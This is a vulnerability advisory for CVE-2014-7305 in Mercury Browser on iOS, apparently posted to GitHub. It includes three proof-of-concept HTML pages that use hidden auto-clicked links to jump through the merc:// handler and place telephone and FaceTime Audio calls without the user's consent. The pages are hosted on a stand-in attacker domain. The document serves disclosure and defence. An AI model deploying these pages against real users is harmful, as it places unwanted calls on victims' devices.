Skip to content

Latest commit

 

History

History
89 lines (73 loc) · 3.92 KB

CVE-2014-7305.md

File metadata and controls

89 lines (73 loc) · 3.92 KB

CVE-2014-7305

Title Issue with Facetime and Facetime-Audio URL Schemes on Mercury Browser
Affected Vendor: RichText Web Site
Affected Software: Mercury Browser and Mercury Browser Pro
Affected Version: All known versions on iOS
Issue Type: Lack of user confirmation leading to Telephone and Facetime Audio calls being arbitrarily initialized by an attacker.
Release Date: October 13, 2014
Discovered by: Matias P. Brutti - @S9Labs
CVE Identifier: CVE-2014-7305
Issue Status: No response provided as of 10/13/2014. Still vulnerable.
Description

Using the same technique deployed by Andrei Neculaesei ( link: http://algorithm.dk/posts/rtfm-0day-in-ios-apps-g-gmail-fb-messenger-etc) to bypass some iOS applications including G+, Facebook, Hangouts, among others to launch phone calls automatically without permission. By looking for a way to also exploit this directly on Messages which according to the author of the other vulnerabilities was not possible, we found that it was possible to attack people by jumping from the default Safary browser WebView using browsers url handlers.

We found that Mercury Browser had a known merc:// URL handler which might helps us make the jump from Messages to a vulnerable browser for exploitation. Mercury Browser and Mercury Browser Pro are vulnerable to two attacks including making arbitrary telephone calls and arbitrary FaceTime audio calls. The only one that was not automatically working was initializing a FaceTime call, which is correctly prompting users.

Both browsers are vulnerable because the developer while writing the code did not correctly handle webView:shouldStartLoadWithRequest:navigationType: to prompt users before initializing the calls.

Proof of Concept

For example if using Messages, An attcker could easily send a link friendly link to a malicious or compromised website (i.e http://evilrovot.com/merc.html). Knowing that Safari will not open tel:// directly and it will pop-up a message, a two step approach is needed using the merc:// URL handler to open a new mercury window on a new page which will trigger the vulnerability on http://evilrovot.com/tel.html.

[ APP RECEIVING LINK ] --> [ SAFARI ] --> [ MERCURY BROWSER ] --> [ TEL ]

Code for this files is as follow:

merc.html

<html>
<body>
<a id="callme" href="merc://evilrovot.com/tel.html" style="display:none">click</a>
<script>
var t = document.getElementById("callme");
var fe = document.createEvent("MouseEvents");
fe.initEvent("click", true, true);
t.dispatchEvent(fe);
</script>
</body>
</html>

tel.html

<html>
<body>
<a id="callme" href="tel://+0000" style="display:none">click</a>
<script>
var t = document.getElementById("callme");
var fe = document.createEvent("MouseEvents");
fe.initEvent("click", true, true);
t.dispatchEvent(fe);
</script>
</body>
</html>

ft_audio.html

<html>
<body>
<a id="callme" href="facetime-audio://+0000" style="display:none">click</a>
<script>
var t = document.getElementById("callme");
var fe = document.createEvent("MouseEvents");
fe.initEvent("click", true, true);
t.dispatchEvent(fe);
</script>
</body>
</html>
Recommendations

The ideal behavior should be that it triggers a pop-up asking the user wether he/she wants to start a Tel or FaceTime-Audio conversation with the number in question.

Timeline
9/22 — Tried to Contact Vendor through their Contact Us page on https://mercury-browser.com/contact.html by failed
9/22 — Try to contact through Twitter but no response provided 
9/28 — Sent again using Contact Us page on main Company page - http://www.ilegendsoft.com/. 
10/13 — No response provided to date.
10/13 — Vulnerability made public. 
Full Write-Up

https://medium.com/section-9-lab/paid-apps-do-come-with-a-price-bc0533a94ff9